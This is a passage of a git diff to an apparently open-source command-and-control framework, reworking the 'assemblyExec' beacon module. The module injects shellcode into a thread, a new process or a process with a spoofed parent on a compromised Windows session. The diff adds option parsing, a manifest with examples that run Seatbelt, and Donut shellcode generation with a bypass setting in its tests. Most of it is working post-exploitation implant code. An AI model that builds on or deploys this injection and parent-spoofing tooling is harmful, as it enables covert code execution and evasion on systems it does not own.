constexpr int ERROR_PROCESS_CREATION = 1; } +#define modeThread "0" +#define modeProcess "1" +#define modeprocessWithSpoofedParent "2" + #ifdef _WIN32 @@ -87,179 +93,143 @@ std::string AssemblyExec::getInfo() info += "Execute shellcode in a remote process (e.g., notepad.exe). Waits for execution to complete or until a 120-second timeout.\n"; info += "Captures and returns any output produced by the shellcode.\n"; info += "\nOptions:\n"; - info += " -r Use a raw shellcode file.\n"; - info += " -e [args] Use Donut to generate shellcode from a .NET executable.\n"; - info += " -d [args] Use Donut to generate shellcode from a .NET DLL and specify method and arguments.\n"; - info += "\nExecution Modes:\n"; - info += " thread Inject and execute in a new thread\n"; - info += " process Inject into a newly spawned process\n"; + info += " --mode --raw Execute raw shellcode.\n"; + info += " --mode --donut-exe -- [args] Execute Donut-generated shellcode from a .NET executable.\n"; + info += " --mode --donut-dll --method -- [args]\n"; + info += " Execute Donut-generated shellcode from a .NET DLL.\n"; + info += "\nModes:\n"; + info += " thread Inject and execute in a new thread\n"; + info += " process Inject into a newly spawned process\n"; info += " processWithSpoofedParent Same as above, but with spoofed parent process\n"; info += "\nExamples:\n"; - info += " - assemblyExec thread\n"; - info += " - assemblyExec process\n"; - info += " - assemblyExec -r ./shellcode.bin\n"; - info += " - assemblyExec -e ./program.exe arg1 arg2\n"; - info += " - assemblyExec -e ./Seatbelt.exe -group=system\n"; - info += " - assemblyExec -d ./test.dll MethodName arg1 arg2\n"; + info += " - assemblyExec --mode process --raw ./shellcode.bin\n"; + info += " - assemblyExec --mode thread --donut-exe ./Seatbelt.exe -- -group=system\n"; + info += " - assemblyExec --mode process --donut-dll ./test.dll --method MethodName -- arg1 arg2\n"; #endif return info; } -#define modeThread "0" -#define modeProcess "1" -#define modeprocessWithSpoofedParent "2" +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) +namespace +{ +std::string modeWireValue(const std::string& mode) +{ + const std::string normalized = assembly_exec_command::normalizeModeName(mode); + if (normalized == "thread") + return modeThread; + if (normalized == "processWithSpoofedParent") + return modeprocessWithSpoofedParent; + return modeProcess; +} + +std::string readBinaryFile(const std::string& path) +{ + std::ifstream input(path, std::ios::binary); + return std::string(std::istreambuf_iterator(input), std::istreambuf_iterator()); +} +} // namespace + +int AssemblyExec::initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) +{ + if (task.payload.empty()) + { + c2Message.set_returnvalue("Shellcode payload is empty."); + return -1; + } + + std::string requestedMode = task.executionMode; + if (requestedMode.empty()) + { + if (!m_isModeProcess) + requestedMode = "thread"; + else if (m_isSpoofParent) + requestedMode = "processWithSpoofedParent"; + else + requestedMode = "process"; + } + + const std::string mode = assembly_exec_command::normalizeModeName(requestedMode); + if (mode.empty()) + { + c2Message.set_returnvalue("Unsupported execution mode."); + return -1; + } + + c2Message.set_args(modeWireValue(mode)); + c2Message.set_pid(-1); + c2Message.set_cmd(task.displayCommand); + c2Message.set_instruction(std::string(moduleName)); + c2Message.set_inputfile(task.inputFile); + c2Message.set_data(task.payload.data(), task.payload.size()); + return 0; +} +#endif int AssemblyExec::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) - if(splitedCmd.size() == 2) + assembly_exec_command::CommandOptions options = assembly_exec_command::parseCommandOptions(splitedCmd); + if (!options.error.empty()) { - if(splitedCmd[1]=="thread") + c2Message.set_returnvalue(options.error + "\n"); + return -1; + } + + if(options.modeOnly) + { + if(options.mode=="thread") { m_isModeProcess = false; c2Message.set_returnvalue("thread mode.\n"); return -1; } - else if(splitedCmd[1]=="process") + if(options.mode=="process") { m_isModeProcess = true; m_isSpoofParent = false; c2Message.set_returnvalue("process mode.\n"); return -1; } - else if(splitedCmd[1]=="processWithSpoofedParent") + if(options.mode=="processWithSpoofedParent") { m_isModeProcess = true; m_isSpoofParent = true; c2Message.set_returnvalue("process mode with parent spoofing.\n"); return -1; } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } } - else if (splitedCmd.size() >= 3) + + if (options.generator != "raw") { - bool donut=false; - std::string inputFile=splitedCmd[2]; - std::string method; - std::string args; - int pid=-1; - - if(splitedCmd[1]=="-e") - { - donut=true; - for (int idx = 3; idx < splitedCmd.size(); idx++) - { - if(!args.empty()) - args+=" "; - args+=splitedCmd[idx]; - } - } - else if(splitedCmd[1]=="-d") - { - donut=true; - if(splitedCmd.size() > 3) - method=splitedCmd[3]; - else - { - std::string msg = "Method is mandatory for DLL.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - for (int idx = 4; idx < splitedCmd.size(); idx++) - { - if(!args.empty()) - args+=" "; - args+=splitedCmd[idx]; - } - } - else if(splitedCmd[1]=="-r") - { - } - else - { - std::string msg = "One of the tags, -r, -e or -d must be provided.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - - if(inputFile.empty()) - { - std::string msg = "A file name have to be provided.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - - std::ifstream myfile; - myfile.open(inputFile, std::ios::binary); - - if(!myfile) - { - std::string newInputFile=m_toolsDirectoryPath; - newInputFile+=inputFile; - myfile.open(newInputFile, std::ios::binary); - inputFile=newInputFile; - } - - if(!myfile) - { - std::string msg = "Couldn't open file.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - myfile.close(); - - std::string payload; - if(donut) - { - // if we create a process we need to exite process with donut shellcode - // Otherwise we exite the threadd - creatShellCodeDonut(inputFile, method, args, payload, true, false, m_windowsArch); - } - else - { - std::ifstream input(inputFile, std::ios::binary); - std::string payload_(std::istreambuf_iterator(input), {}); - payload=payload_; - } - - if(payload.size()==0) - { - std::string msg = "Something went wrong. Payload empty.\n"; - c2Message.set_returnvalue(msg); - return -1; - } - - std::string cmd; - for (int idx = 1; idx < splitedCmd.size(); idx++) - { - cmd+=splitedCmd[idx]; - cmd+=" "; - } - - if(m_isModeProcess == false) - c2Message.set_args(modeThread); - else if(m_isModeProcess == true && m_isSpoofParent == false) - c2Message.set_args(modeProcess); - else if(m_isModeProcess == true && m_isSpoofParent == true) - c2Message.set_args(modeprocessWithSpoofedParent); - - c2Message.set_pid(pid); - c2Message.set_cmd(cmd); - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_inputfile(inputFile); - c2Message.set_data(payload.data(), payload.size()); - } - else - { - c2Message.set_returnvalue(getInfo()); + c2Message.set_returnvalue("Donut shellcode generation is handled by the TeamServer shellcode service.\n"); return -1; } + + std::string inputFile = options.sourcePath; + std::ifstream myfile(inputFile, std::ios::binary); + if(!myfile) + { + std::string newInputFile=m_toolsDirectoryPath; + newInputFile+=inputFile; + myfile.open(newInputFile, std::ios::binary); + inputFile=newInputFile; + } + + if(!myfile) + { + c2Message.set_returnvalue("Couldn't open file.\n"); + return -1; + } + myfile.close(); + + ModulePreparedShellcodeTask task; + task.inputFile = inputFile; + task.payload = readBinaryFile(inputFile); + task.executionMode = options.mode; + task.displayCommand = options.displayCommand; + return initPreparedShellcode(task, c2Message); #endif return 0; } @@ -549,19 +519,62 @@ int AssemblyExec::createNewThread(const std::string& payload, std::string& resul } HANDLE thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ptr, NULL, CREATE_SUSPENDED, 0); + if (thread == NULL) + { + stdCapture.EndCapture(); + result += "Error: Thread failed to start.\n"; + return -1; + } BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlExitUserProcess"); HANDLE phHwBpHandler; int indexHWBP = 0; - set_hwbp(thread, baseAddress, handlerRtlExitUserProcess, indexHWBP, &phHwBpHandler); + if (baseAddress != NULL) + set_hwbp(thread, baseAddress, handlerRtlExitUserProcess, indexHWBP, &phHwBpHandler); - if (thread != NULL) - ResumeThread(thread); + ResumeThread(thread); - WaitForSingleObject(thread, maxDurationShellCode*1000); + DWORD waitStatus = WAIT_TIMEOUT; + const auto begin = std::chrono::steady_clock::now(); + for (;;) + { + waitStatus = WaitForSingleObject(thread, 50); + stdCapture.DrainCapture(); + if (waitStatus != WAIT_TIMEOUT) + break; + + const auto now = std::chrono::steady_clock::now(); + const auto elapsed = std::chrono::duration_cast(now - begin).count(); + if (elapsed >= maxDurationShellCode) + break; + } stdCapture.EndCapture(); - result+=stdCapture.GetCapture(); + const std::string capturedOutput = stdCapture.GetCapture(); + if (!capturedOutput.empty()) + { + result += "Stdout:\n"; + result += capturedOutput; + result += "\n"; + } + + if (waitStatus == WAIT_FAILED) + { + result += "Error: Thread wait failed.\n"; + if (thread != NULL) + CloseHandle(thread); + return -1; + } + if (waitStatus == WAIT_TIMEOUT) + { + result += "Error: Thread execution timed out.\n"; + if (thread != NULL) + CloseHandle(thread); + return -1; + } + + if (thread != NULL) + CloseHandle(thread); return 0; } diff --git a/modules/AssemblyExec/AssemblyExec.hpp b/modules/AssemblyExec/AssemblyExec.hpp index 05b54ca..cdd36ca 100644 --- a/modules/AssemblyExec/AssemblyExec.hpp +++ b/modules/AssemblyExec/AssemblyExec.hpp @@ -17,6 +17,9 @@ public: std::string getInfo(); int init(std::vector& splitedCmd, C2Message& c2Message); +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message) override; +#endif int initConfig(const nlohmann::json &config); int process(C2Message& c2Message, C2Message& c2RetMessage); int errorCodeToMsg(const C2Message& c2RetMessage, std::string& errorMsg) override; @@ -80,4 +83,3 @@ extern "C" __declspec(dllexport) AssemblyExec * A_AssemblyExecConstructor(); extern "C" __attribute__((visibility("default"))) AssemblyExec * AssemblyExecConstructor(); #endif - diff --git a/modules/AssemblyExec/AssemblyExecCommandOptions.hpp b/modules/AssemblyExec/AssemblyExecCommandOptions.hpp new file mode 100644 index 0000000..defe7ed --- /dev/null +++ b/modules/AssemblyExec/AssemblyExecCommandOptions.hpp @@ -0,0 +1,178 @@ +#pragma once + +#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS) + +#include +#include +#include +#include +#include + +namespace assembly_exec_command +{ +struct CommandOptions +{ + std::string mode; + std::string generator = "raw"; + std::string sourceType = "raw"; + std::string sourcePath; + std::string method; + std::string arguments; + std::string displayCommand; + std::string error; + bool modeOnly = false; +}; + +inline std::string lowerCopy(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +inline std::string joinCommandTail(const std::vector& parts, size_t start) +{ + std::string result; + for (size_t index = start; index < parts.size(); ++index) + { + if (!result.empty()) + result += " "; + result += parts[index]; + } + return result; +} + +inline bool isModeName(const std::string& value) +{ + const std::string lowered = lowerCopy(value); + return lowered == "thread" || lowered == "process" || lowered == "processwithspoofedparent"; +} + +inline std::string normalizeModeName(const std::string& value) +{ + const std::string lowered = lowerCopy(value); + if (lowered == "thread") + return "thread"; + if (lowered == "process") + return "process"; + if (lowered == "processwithspoofedparent") + return "processWithSpoofedParent"; + return ""; +} + +inline CommandOptions parseCommandOptions(const std::vector& tokens) +{ + CommandOptions options; + options.displayCommand = joinCommandTail(tokens, 1); + + if (tokens.size() == 2 && isModeName(tokens[1])) + { + options.mode = normalizeModeName(tokens[1]); + options.modeOnly = true; + return options; + } + + for (size_t index = 1; index < tokens.size(); ++index) + { + const std::string& token = tokens[index]; + if (token == "--") + { + options.arguments = joinCommandTail(tokens, index + 1); + break; + } + if (token == "--mode") + { + if (++index >= tokens.size()) + { + options.error = "--mode requires a value."; + return options; + } + options.mode = normalizeModeName(tokens[index]); + if (options.mode.empty()) + { + options.error = "Unsupported execution mode."; + return options; + } + } + else if (token == "--raw" || token == "-r") + { + if (++index >= tokens.size()) + { + options.error = token + " requires a file path."; + return options; + } + options.generator = "raw"; + options.sourceType = "raw"; + options.sourcePath = tokens[index]; + } + else if (token == "--donut-exe" || token == "-e") + { + if (++index >= tokens.size()) + { + options.error = token + " requires a file path."; + return options; + } + options.generator = "donut"; + options.sourceType = "dotnet_exe"; + options.sourcePath = tokens[index]; + if (token == "-e") + { + options.arguments = joinCommandTail(tokens, index + 1); + break; + } + } + else if (token == "--donut-dll" || token == "-d") + { + if (++index >= tokens.size()) + { + options.error = token + " requires a file path."; + return options; + } + options.generator = "donut"; + options.sourceType = "dotnet_dll"; + options.sourcePath = tokens[index]; + if (token == "-d") + { + if (++index >= tokens.size()) + { + options.error = "Method is mandatory for DLL."; + return options; + } + options.method = tokens[index]; + options.arguments = joinCommandTail(tokens, index + 1); + break; + } + } + else if (token == "--method") + { + if (++index >= tokens.size()) + { + options.error = "--method requires a value."; + return options; + } + options.method = tokens[index]; + } + else + { + options.error = "Unknown assemblyExec option: " + token; + return options; + } + } + + if (options.sourcePath.empty()) + { + options.error = "A payload source must be provided."; + return options; + } + if (options.sourceType == "dotnet_dll" && options.method.empty()) + { + options.error = "Method is mandatory for DLL."; + return options; + } + return options; +} +} // namespace assembly_exec_command + +#endif diff --git a/modules/AssemblyExec/CMakeLists.txt b/modules/AssemblyExec/CMakeLists.txt index aacd023..8e4908e 100644 --- a/modules/AssemblyExec/CMakeLists.txt +++ b/modules/AssemblyExec/CMakeLists.txt @@ -39,9 +39,6 @@ endif() set_property(TARGET AssemblyExec PROPERTY MSVC_RUNTIME_LIBRARY "MultiThreaded") -if(C2CORE_BUILD_TESTS OR C2CORE_BUILD_FUNCTIONAL_TESTS) - target_link_libraries(AssemblyExec PRIVATE Donut ) -endif() c2core_disable_safeseh_for_x86(AssemblyExec) add_custom_command(TARGET AssemblyExec POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy @@ -89,9 +86,7 @@ if(C2CORE_BUILD_TESTS) add_executable(testOutputWriter tests/testOutputWriter.cpp) else() add_executable(testsAssemblyExec tests/testsAssemblyExec.cpp AssemblyExec.cpp) - target_link_libraries(testsAssemblyExec PRIVATE Donut ${aplib64} ) - - add_executable(testOutputWriter tests/testOutputWriter.cpp) + add_executable(testOutputWriter tests/testOutputWriter.cpp) endif() add_custom_command(TARGET testsAssemblyExec POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy @@ -138,13 +133,12 @@ if(C2CORE_BUILD_FUNCTIONAL_TESTS) ../ModuleCmd/hwbp.cpp ) endif() - target_link_libraries(testsAssemblyExecFunctional PRIVATE Donut) c2core_disable_safeseh_for_x86(testsAssemblyExecFunctional) + target_link_libraries(testsAssemblyExecFunctional PRIVATE Donut) add_dependencies(testsAssemblyExecFunctional assemblyExecDummyExe) target_compile_definitions(testsAssemblyExecFunctional PRIVATE C2_ASSEMBLYEXEC_DUMMY_EXE="$") else() add_executable(testsAssemblyExecFunctional tests/functional/testsAssemblyExecFunctional.cpp AssemblyExec.cpp) - target_link_libraries(testsAssemblyExecFunctional PRIVATE Donut ${aplib64}) endif() target_include_directories(testsAssemblyExecFunctional PRIVATE ../tests) diff --git a/modules/AssemblyExec/assemblyExec.json b/modules/AssemblyExec/assemblyExec.json new file mode 100644 index 0000000..b29bec0 --- /dev/null +++ b/modules/AssemblyExec/assemblyExec.json @@ -0,0 +1,93 @@ +{ + "name": "assemblyExec", + "display_name": "assemblyExec", + "kind": "module", + "description": "Execute shellcode in the current beacon using a thread, process, or spoofed-parent process mode. Donut inputs are prepared by the TeamServer shellcode service before the task is sent to the beacon.", + "command_template": "assemblyExec [--mode {mode}] [--raw {raw:q}] [--donut-exe {donut_exe:q}] [--donut-dll {donut_dll:q}] [--method {method:q}] [-- {arguments:raw}]", + "target": "beacon", + "requires_session": true, + "platforms": ["windows"], + "archs": ["x86", "x64", "arm64"], + "args": [ + { + "name": "--mode", + "type": "flag", + "required": false, + "description": "Execution mode. Defaults to process.", + "values": ["thread", "process", "processWithSpoofedParent"] + }, + { + "name": "--raw", + "type": "flag", + "required": false, + "description": "Use an existing raw shellcode file on the TeamServer.", + "artifact_filter": { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "session.arch", + "runtime": "any", + "format": "bin", + "name_contains": ".bin" + } + }, + { + "name": "--donut-exe", + "type": "flag", + "required": false, + "description": "Generate shellcode from a .NET executable on the TeamServer.", + "artifact_filter": { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "session.arch", + "runtime": "any", + "format": "exe", + "name_contains": ".exe" + } + }, + { + "name": "--donut-dll", + "type": "flag", + "required": false, + "description": "Generate shellcode from a .NET DLL on the TeamServer.", + "artifact_filter": { + "category": "tool", + "scope": "server", + "target": "teamserver", + "platform": "windows", + "arch": "session.arch", + "runtime": "any", + "format": "dll", + "name_contains": ".dll" + } + }, + { + "name": "source_path", + "type": "path", + "required": true, + "description": "Raw shellcode, .NET executable, or .NET DLL path on the TeamServer." + }, + { + "name": "--method", + "type": "flag", + "required": false, + "description": "Required for --donut-dll." + }, + { + "name": "arguments", + "type": "text", + "required": false, + "description": "Arguments passed to the Donut source after --.", + "variadic": true + } + ], + "examples": [ + "assemblyExec --mode process --raw shellcode.bin", + "assemblyExec --mode thread --donut-exe Seatbelt.exe -- -group=system", + "assemblyExec --mode process --donut-dll Tool.dll --method EntryPoint -- arg1 arg2" + ], + "source": "manifest" +} diff --git a/modules/AssemblyExec/tests/AssemblyExecTestShellcodeGenerator.hpp b/modules/AssemblyExec/tests/AssemblyExecTestShellcodeGenerator.hpp new file mode 100644 index 0000000..46dfefa --- /dev/null +++ b/modules/AssemblyExec/tests/AssemblyExecTestShellcodeGenerator.hpp @@ -0,0 +1,117 @@ +#pragma once + +#include +#include +#include +#include +#include + +#if defined(_WIN32) && (defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)) +#include +#include + +#include +#endif + +namespace assembly_exec_tests +{ +struct GeneratedShellcode +{ + bool ok = false; + std::string error; + std::filesystem::path path; + std::string bytes; +}; + +#if defined(_WIN32) && (defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)) +inline int donutArch(const std::string& arch) +{ + if (arch == "x86") + return DONUT_ARCH_X86; + if (arch == "arm64") + return DONUT_ARCH_ARM64; + return DONUT_ARCH_X64; +} + +inline bool copyBounded(char* destination, std::size_t destinationSize, const std::string& value) +{ + if (destinationSize == 0 || value.size() >= destinationSize) + return false; + std::memcpy(destination, value.c_str(), value.size()); + destination[value.size()] = '\0'; + return true; +} + +inline std::filesystem::path tempShellcodePath() +{ + const auto suffix = std::chrono::steady_clock::now().time_since_epoch().count(); + return std::filesystem::temp_directory_path() / ("c2-assemblyexec-test-" + std::to_string(suffix) + ".bin"); +} + +inline GeneratedShellcode generateDonutShellcodeForTest( + const std::string& sourcePath, + const std::string& method, + const std::string& arguments, + const std::string& arch, + bool exitProcess) +{ + GeneratedShellcode result; + result.path = tempShellcodePath(); + + DONUT_CONFIG config; + std::memset(&config, 0, sizeof(config)); + config.inst_type = DONUT_INSTANCE_EMBED; + config.arch = donutArch(arch); + config.bypass = DONUT_BYPASS_CONTINUE; + config.format = DONUT_FORMAT_BINARY; + config.compress = DONUT_COMPRESS_NONE; + config.entropy = DONUT_ENTROPY_DEFAULT; + config.headers = DONUT_HEADERS_OVERWRITE; + config.exit_opt = exitProcess ? DONUT_OPT_EXIT_PROCESS : DONUT_OPT_EXIT_THREAD; + config.thread = 0; + config.unicode = 0; + + if (!copyBounded(config.input, sizeof(config.input), sourcePath) + || !copyBounded(config.output, sizeof(config.output), result.path.string()) + || !copyBounded(config.method, sizeof(config.method), method) + || !copyBounded(config.args, sizeof(config.args), arguments)) + { + result.error = "Donut test input, output, method or arguments are too long."; + return result; + } + + const int err = DonutCreate(&config); + if (err != DONUT_ERROR_OK) + { + result.error = "Donut test error: "; + result.error += DonutError(err); + return result; + } + + std::ifstream input(result.path, std::ios::binary); + result.bytes.assign(std::istreambuf_iterator(input), std::istreambuf_iterator()); + DonutDelete(&config); + + if (result.bytes.empty()) + { + result.error = "Donut test generated an empty shellcode payload."; + return result; + } + + result.ok = true; + return result; +} +#else +inline GeneratedShellcode generateDonutShellcodeForTest( + const std::string&, + const std::string&, + const std::string&, + const std::string&, + bool) +{ + GeneratedShellcode result; + result.error = "Donut shellcode generation is only available in Windows assemblyExec tests."; + return result; +} +#endif +} // namespace assembly_exec_tests diff --git a/modules/AssemblyExec/tests/functional/testsAssemblyExecFunctional.cpp b/modules/AssemblyExec/tests/functional/testsAssemblyExecFunctional.cpp index f0a6514..dac04a7 100644 --- a/modules/AssemblyExec/tests/functional/testsAssemblyExecFunctional.cpp +++ b/modules/AssemblyExec/tests/functional/testsAssemblyExecFunctional.cpp @@ -1,4 +1,5 @@ #include "../../AssemblyExec.hpp" +#include "../AssemblyExecTestShellcodeGenerator.hpp" #include "../../../tests/FunctionalTestHelpers.hpp" #include @@ -44,6 +45,17 @@ std::string normalizeKind(const std::string& kind) } return "exe"; } + +std::string currentWindowsArch() +{ +#if defined(_M_ARM64) || defined(__aarch64__) + return "arm64"; +#elif defined(_M_IX86) || defined(__i386__) + return "x86"; +#else + return "x64"; +#endif +} } int main(int argc, char** argv) @@ -107,33 +119,51 @@ int main(int argc, char** argv) return 1; } - std::vector command = {"assemblyExec"}; + C2Message message; + std::filesystem::path generatedPath; if (kind == "raw") { - command.push_back("-r"); - command.push_back(payload); - } - else if (kind == "dll") - { - command.push_back("-d"); - command.push_back(payload); - command.push_back(method); + std::vector command = {"assemblyExec", "--mode", mode, "--raw", payload}; + if (module.init(command, message) != 0) + { + std::cerr << "testsAssemblyExecFunctional init failed:\n" << message.returnvalue() << '\n'; + return 1; + } } else { - command.push_back("-e"); - command.push_back(payload); - } - if (!arguments.empty()) - { - command.push_back(arguments); - } + const bool exitProcess = mode != "thread"; + assembly_exec_tests::GeneratedShellcode generated = assembly_exec_tests::generateDonutShellcodeForTest( + payload, + kind == "dll" ? method : "", + arguments, + currentWindowsArch(), + exitProcess); + if (!generated.ok) + { +#ifndef _WIN32 + std::cout << "testsAssemblyExecFunctional skipped: " << generated.error << '\n'; + return skipReturnCode; +#else + std::cerr << "testsAssemblyExecFunctional Donut preparation failed:\n" << generated.error << '\n'; + return 1; +#endif + } - C2Message message; - if (module.init(command, message) != 0) - { - std::cerr << "testsAssemblyExecFunctional init failed:\n" << message.returnvalue() << '\n'; - return 1; + generatedPath = generated.path; + ModulePreparedShellcodeTask task; + task.inputFile = generated.path.string(); + task.payload = generated.bytes; + task.executionMode = mode; + task.displayCommand = kind == "dll" + ? "--mode " + mode + " --donut-dll " + payload + " --method " + method + " -- " + arguments + : "--mode " + mode + " --donut-exe " + payload + " -- " + arguments; + if (module.initPreparedShellcode(task, message) != 0) + { + std::cerr << "testsAssemblyExecFunctional prepared init failed:\n" << message.returnvalue() << '\n'; + std::filesystem::remove(generatedPath); + return 1; + } } std::cout << "testsAssemblyExecFunctional init OK\n"; @@ -143,6 +173,10 @@ int main(int argc, char** argv) if (!execute) { std::cout << "execution skipped; pass --execute to run the module process path.\n"; + if (!generatedPath.empty()) + { + std::filesystem::remove(generatedPath); + } return 0; } @@ -163,5 +197,9 @@ int main(int argc, char** argv) C2Message result; module.process(message, result); std::cout << result.returnvalue() << '\n'; + if (!generatedPath.empty()) + { + std::filesystem::remove(generatedPath); + } return 0; } diff --git a/modules/AssemblyExec/tests/testsAssemblyExec.cpp b/modules/AssemblyExec/tests/testsAssemblyExec.cpp index abaab6a..ff6ceec 100644 --- a/modules/AssemblyExec/tests/testsAssemblyExec.cpp +++ b/modules/AssemblyExec/tests/testsAssemblyExec.cpp @@ -1,11 +1,18 @@ #include "../AssemblyExec.hpp" +#include "AssemblyExecTestShellcodeGenerator.hpp" #include "../../tests/TestHelpers.hpp" #include +#include +#include #include #include #include +#ifdef _WIN32 +#include "../../ModuleCmd/Tools.hpp" +#endif + using namespace test_helpers; namespace @@ -34,6 +41,42 @@ bool expectAssemblyMessage(const C2Message& message, ok &= expect(!message.data().empty(), label + ": payload should be non-empty"); return ok; } + +bool expectPreparedDonutMessage(const std::filesystem::path& sourcePath, + const std::string& mode, + const std::string& method, + const std::string& arguments, + const std::string& arch, + const std::string& expectedMode, + const std::string& displayCommand, + const std::string& label) +{ + bool ok = true; + const bool exitProcess = mode != "thread"; + assembly_exec_tests::GeneratedShellcode generated = assembly_exec_tests::generateDonutShellcodeForTest( + sourcePath.string(), + method, + arguments, + arch, + exitProcess); + ok &= expect(generated.ok, label + ": Donut test shellcode should be generated: " + generated.error); + if (!ok) + return false; + + AssemblyExec module; + ModulePreparedShellcodeTask task; + task.inputFile = generated.path.string(); + task.payload = generated.bytes; + task.executionMode = mode; + task.displayCommand = displayCommand; + + C2Message message; + ok &= expect(module.initPreparedShellcode(task, message) == 0, label + ": prepared shellcode should be packed"); + ok &= expectAssemblyMessage(message, generated.path, expectedMode, displayCommand, label); + ok &= expect(message.data() == generated.bytes, label + ": generated shellcode bytes should be packed"); + std::filesystem::remove(generated.path); + return ok; +} } int main() @@ -42,6 +85,22 @@ int main() const std::string dummyExe = dummyExePath(); const std::string currentArch = buildWindowsArch(); +#ifdef _WIN32 + { + StdCapture capture; + capture.BeginCapture(); + const char* crtOutput = "crt-output\n"; + std::fwrite(crtOutput, 1, std::strlen(crtOutput), stdout); + const char* winOutput = "win32-output\n"; + DWORD written = 0; + WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), winOutput, static_cast(std::strlen(winOutput)), &written, nullptr); + capture.EndCapture(); + const std::string captured = capture.GetCapture(); + ok &= expect(captured.find("crt-output") != std::string::npos, "StdCapture should capture CRT stdout"); + ok &= expect(captured.find("win32-output") != std::string::npos, "StdCapture should capture Win32 stdout handle"); + } +#endif + { AssemblyExec module; std::vector cmd = {"assemblyExec", "thread"}; @@ -81,11 +140,11 @@ int main() { const auto raw = writeTempFile("c2core_assembly_raw.bin", "raw-bytes"); AssemblyExec module; - std::vector cmd = {"assemblyExec", "-r", raw.string()}; + std::vector cmd = {"assemblyExec", "--mode", "process", "--raw", raw.string()}; C2Message message; ok &= expect(module.init(cmd, message) == 0, "existing raw shellcode file should be accepted"); - ok &= expectAssemblyMessage(message, raw, "1", "-r", "raw process mode"); + ok &= expectAssemblyMessage(message, raw, "1", "--raw", "raw process mode"); ok &= expect(message.data() == "raw-bytes", "raw bytes should be packed"); std::filesystem::remove(raw); } @@ -126,7 +185,7 @@ int main() C2Message message; ok &= expect(module.init(cmd, message) == -1, "unknown payload option should be rejected"); - ok &= expect(message.returnvalue().find("One of the tags") != std::string::npos, "unknown payload option should explain accepted tags"); + ok &= expect(message.returnvalue().find("Unknown assemblyExec option") != std::string::npos, "unknown payload option should explain accepted tags"); } { @@ -138,6 +197,15 @@ int main() ok &= expect(message.returnvalue().find("Method is mandatory") != std::string::npos, "DLL mode should explain missing method"); } + { + AssemblyExec module; + std::vector cmd = {"assemblyExec", "--donut-exe", "payload.exe"}; + C2Message message; + + ok &= expect(module.init(cmd, message) == -1, "Donut mode should be rejected by module init"); + ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "Donut mode should point to TeamServer shellcode service"); + } + if (dummyExe.empty()) { #ifdef _WIN32 @@ -155,37 +223,41 @@ int main() std::vector cmd = {"assemblyExec", "-e", dummyPath.string()}; C2Message message; - ok &= expect(module.init(cmd, message) == 0, "dummy exe should be accepted by Donut EXE mode"); - ok &= expectAssemblyMessage(message, dummyPath, "1", "-e", "dummy exe default process mode"); + ok &= expect(module.init(cmd, message) == -1, "dummy exe Donut mode should be prepared by TeamServer"); + ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "dummy exe Donut mode should explain TeamServer preparation"); + ok &= expectPreparedDonutMessage( + dummyPath, + "process", + "", + "", + currentArch, + "1", + "--mode process --donut-exe " + dummyPath.string(), + "dummy exe TeamServer-prepared Donut process mode"); } { - AssemblyExec module; - module.setWindowsArch(currentArch); - C2Message modeMessage; - std::vector modeCmd = {"assemblyExec", "thread"}; - ok &= expect(module.init(modeCmd, modeMessage) == -1, "thread mode should be configurable before Donut EXE mode"); - - std::vector cmd = {"assemblyExec", "-e", dummyPath.string(), "alpha", "beta gamma"}; - C2Message message; - - ok &= expect(module.init(cmd, message) == 0, "dummy exe with arguments should be accepted by Donut EXE mode"); - ok &= expectAssemblyMessage(message, dummyPath, "0", "alpha beta gamma", "dummy exe thread mode with args"); - ok &= expect(message.cmd().find(dummyPath.string()) != std::string::npos, "dummy exe command should include input path"); + ok &= expectPreparedDonutMessage( + dummyPath, + "thread", + "", + "alpha beta gamma", + currentArch, + "0", + "--mode thread --donut-exe " + dummyPath.string() + " -- alpha beta gamma", + "dummy exe TeamServer-prepared Donut thread mode with args"); } { - AssemblyExec module; - module.setWindowsArch(currentArch); - C2Message modeMessage; - std::vector modeCmd = {"assemblyExec", "processWithSpoofedParent"}; - ok &= expect(module.init(modeCmd, modeMessage) == -1, "spoofed-parent mode should be configurable before Donut EXE mode"); - - std::vector cmd = {"assemblyExec", "-e", dummyPath.string(), "--flag"}; - C2Message message; - - ok &= expect(module.init(cmd, message) == 0, "dummy exe should be accepted in spoofed-parent mode"); - ok &= expectAssemblyMessage(message, dummyPath, "2", "--flag", "dummy exe spoofed-parent mode"); + ok &= expectPreparedDonutMessage( + dummyPath, + "processWithSpoofedParent", + "", + "--flag", + currentArch, + "2", + "--mode processWithSpoofedParent --donut-exe " + dummyPath.string() + " -- --flag", + "dummy exe TeamServer-prepared Donut spoofed-parent mode"); } { diff --git a/modules/COMMAND_SPEC_REFERENCE.md b/modules/COMMAND_SPEC_REFERENCE.md new file mode 100644 index 0000000..53a7304 --- /dev/null 